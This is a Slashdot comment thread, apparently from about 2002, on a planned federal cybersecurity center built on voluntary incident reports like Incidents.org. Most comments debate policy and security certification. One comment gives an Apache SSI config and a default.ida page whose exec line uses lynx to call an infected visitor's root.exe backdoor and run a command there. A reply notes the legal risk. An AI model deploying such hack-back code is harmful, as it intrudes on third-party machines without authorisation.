Federal NOC To Be Modeled After Incidents.org / DS 30
An anonymous reader writes "Computerworld is covering in more detail the
new Federal 'Cybersecurity Center.' The article explains that unlike some earlier rumors indicated, the center will not try to build a super-carnivore, but instead use voluntary reports. It will be similar to the SANS Institute's Internet Storm Center, which summarizes contributions submitted to DShield.org.
This system of voluntary contributors has been shown to be effective in the past by issuing early warning for a number of major Internet worms, like
Code Red, Ramen and SQLSnake. Unlike Symantec's 'for pay ' Deep Sight service, which publishes alerts only to paying members, Incidents.org is a free service."
Re:Attention Slashdorks (Score:1)
follow-up on CodeRed/Nimda (Score:3, Interesting)
I also came-up with a few shell scripts used as CGI to make HTTP requests back to offending hosts, exploiting the very vulnerabilities they're probing me for to, place "WARNING YOU ARE INFECTED" text messages at strategic locations on their hard drives. drop a note on my journal comments if u need more info on that.
Re:follow-up on CodeRed/Nimda (Score:2, Informative)
It's one of those long discussions for a rainy afternoon, but IMHO you need to be careful doing that. After all, code red/nimda is just a worm, but if someone catches you hacking their server, then it'll be you in trouble.
Some discussion occured on various securityfocus mailing lists regarding this point. (I haven't posted a link, because the load on the security focus website is too high at the moment.)
Re:follow-up on CodeRed/Nimda (Score:2)
AddType text/html
AddHandler server-parsed
Then made a file called default.ida that looks like this (the part between <!-- and --> is all on one big long line):
<HTML>
<HEAD>
<TITLE>Go away.</TITLE>
</HEAD>
<BODY>
This server runs Apache on Linux. It is immune to Microsoft viruses and worms.
<!--#exec cmd="/usr/bin/lynx -dump http://$REMOTE_ADDR/scripts/root.exe\?/c+net+send
</BODY>
</HTML>
Re:follow-up on CodeRed/Nimda (Score:2)
wow big dilema (Score:2)
(right now some slashbot's head is exploding!
Now, if only we could report Klez.... (Score:3, Interesting)
What we need is a good way to force admins to actually ADMINISTER the systems they are responsible for, and should they refuse, to get the upstream to null-route the machine until it is fixed.
Protection or detection? (Score:1, Insightful)
Duplicating private sector (Score:4, Insightful)
Re:Duplicating private sector (Score:3, Interesting)
Re:Duplicating private sector (Score:3, Insightful)
People would have an absolute bird if it got out that attempted access logs from #insert government agency here# were being sent to a NGO for correlation.
Although I won't deny that some greenbacks for incidents.org would be a great idea.
Good Idea (Score:2, Insightful)
IT purchases must be _certified_ for security? (Score:3, Insightful)
"In an interview with Computerworld last month, Clarke said the plan may include a governmentwide policy that requires all IT purchases to be independently certified for security prior to approval."
I would like to know what it takes for a product to get "independently certified for security", and how would/does this affect OSS?
(If this has been posted and answered in the past, please mod me down.)
Re:IT purchases must be _certified_ for security? (Score:2)
The tentative answers which I have seen seem to end up saying that any commercial certification would probably cost too much for OSS/FREE and that any government cert would be biased by established software companies "adding their expertise and experience to the process". (Unless those commercial certs were aimed specifically at OSS/FREE, in which case they would be the victims of discrediting campaigns by the other commercial certs. Which would leave the costly certs as the only "respectable" certs around.) Much weeping and nashing of teeth, but I still haven't seen any good solutions. Maybe I've missed something.
Side note, we do need companies giving input to government regarding what those corporations are knowledgable about and good at, but that needs to be tempered by honest gov't types who have a clue about the industry. Think USPTO with clueful people running it. EX: I'm not much of a programmer, but if I were reviewing a patent application for a new sort method, I would have a good idea about where to start looking for info.
Why do you care? (Score:2)
The government (or a company) wants a verified, legit product? Fine. They don't use an OSS OS (like a downloaded copy of Linux), they buy copies of Redhat Linux.
Why do you care?
Why is everyone here worried what other people are doing?
Alex
Re:Why do you care? (Score:2, Insightful)
If the cost of certification is too great, that may also stop smaller security companies from being evaluated as well, also due to funding problems.
We shouldn't trust our nation's security only to those with deep pockets.
- A
What's the matter (Score:1, Funny)
bloated budgets (Score:1)
Gov's first simple steps, NIST will lead on (Score:2, Insightful)
Establishing a decent list of the telco demarks and physical inventory and assesment of vital devices was the 1st thing and probably done to a good tolerance. This is the next step. Get all the traffic reports going to a central NOC.
NIST have been writing fairly decent and comprehensive publications that deal with Firewall, email, WAP and assesment of security position. And surprisingly the Public it seems has been regularly asked to comment based what is occuring everyday in business IT.
Currently with the release of the ASSET evaluation tool Fed agencies and departments no longer have the rug to sweep year's of poor planning and practice under.
I'd fully expect that in a few years, use of this Federal NOC and its services of cross site and network attack detection ability could be put into a FIPS standard of some sort. Those that deal with GOV will have to deal with GOVs rules.
If I was a federal law enforcement agency it would be an easy sell.
Sharing GOV net traffic information parallels the concept of sharing "most wanted" lists, prison rolls, evidence research, cold leads and what not.
I just wish the US Gov would also do the same for spammers for theft of services!
Its not a surprise that nearly 100% of all Federal buildings and critical facilites have a small number of meatspace entry points which are screened and watched, why should we expect different for Internet, Extranet and Intranet spaces.
I foresee the American Internet much like American Banks in the 1930's. We are past the "glory" bandits like Bonny and Clyde stage and are just getting weary of the wanna be criminals.
It was about that time the FBI was established to chase after cross juristiction criminals. The Bureau with many other institutions like Insurance companies insisted Banks put in physical measures, guards, bars, silent and audible alarms, robbery training for staff, proof of executing government regulations, etc.
I predict in 8 years Insurance industry will up your premiums for not having a syslog server, Not having a written and practiced fair use policy with employees, not having firewalls between vital resources and untrusted segments of your business. Heaven help come audit time!
My friends computers are rock, metal, plastic and air -- not majik. Get over it.
Reading any of the NIST program documents and having any experience with business consolidation helps in what to forecast next.
My bet is the US Gov to institute internal national EDI networks based on XML exchanges to negotiate terms of service and usage of resources. Quasi-Privatized EDI would preclude any undesireables and non-participant networks.
My 2c